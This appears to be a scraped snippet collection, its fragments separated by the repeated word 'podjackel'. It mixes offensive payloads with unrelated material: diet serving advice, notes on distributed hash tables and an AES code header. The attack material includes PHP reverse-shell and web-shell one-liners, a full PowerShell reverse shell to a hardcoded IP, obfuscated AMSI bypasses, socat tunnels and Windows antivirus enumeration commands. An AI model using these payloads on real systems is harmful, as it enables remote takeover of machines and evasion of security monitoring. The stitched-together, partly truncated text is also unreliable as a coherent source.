podjackel

//
// Ref = src
// https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
//
// Credits:
//  Vyacheslav Rusakov @swwwolf
//  Tom Bonner @thomas_bonner
//

#include <Windows.h>

podjackel

https://www.bulletproof.com/wp-content/uploads/2014/06/BPDRMrast-06112014.55436.pdf

How many servings should I eat per day?

• Fruit = 1-2 servings
• Animal protein = 4 - 6 servings
• Healthy fats = 5 - 9 servings
• Healthy vegetables = 6 - 11 servings

How should I allocate my calories per day?

podjackel

#!/bin/sh
# ./socatchk remote-host remote-port
# crudely shutsdown socat (if running) and then restarts it for new host/port
orport=9050
orlisadr=127.0.0.1

case $1 in
-k|--kill)
for i in $(ls /tmp/soxify*.pid);do
  echo 'Killing pid...'

podjackel

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); ?>
<?php $sock=fsockopen("10.11.0.150",443); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
<?php $output = shell_exec($_GET["cmd"]);echo "<pre>$output</pre>";?>

podjackel

DHT Walkthrough Notes

I've put together these notes as I read about DHT's in depth and then learned how the libtorrent implementation based on the Kademlia paper actually works.

What problem does this solve?

400,000,000,000 (400 billion stars), that's a 4 followed by 11 zeros. The number of atoms in the universe is estimated to be around 10^82. A DHT with keys of 160 bits, can have 2^160 possible numbers, which is around 10^48

podjackel

local$ socat TCP-LISTEN:2222,bind=127.0.0.1,reuseaddr,fork TCP-LISTEN:2223,reuseaddr
local$ ssh -p 2222 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no localhost
remote$ socat TCP:10.0.2.2:2223 TCP:127.0.0.1:22

podjackel

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);
# $stream = $client.GetStream();
# [byte[]]$bytes = 0..65535|%{0};
# while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
# $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
# $sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";
# $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
# $stream.Write($sendbyte,0,

podjackel

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/*  AES implementation in JavaScript (c) Chris Veness 2005-2011                                   */
/*   - see http://csrc.nist.gov/publications/PubsFIPS.html#197                                    */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */

var Aes = {};  // Aes namespace

/**
 * AES Cipher function: encrypt 'input' state with Rijndael algorithm
 *   applies Nr rounds (10/12/14) using key schedule w for 'add round key' stage

podjackel

# My original AMSI bypass - does not attempt to bypass WMF autologging
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Modified AMSI bypass that also bypasses WMF5 autologging.
# This was reported to MS. CreateDelegate simply needs to be added to the "suspicious" signature list.
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

podjackel

Host Enumeration:

--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)

wmic computersystem LIST full

--- Anti-Virus ---

wmic /namespace:\\root\securitycenter2 path antivirusproduct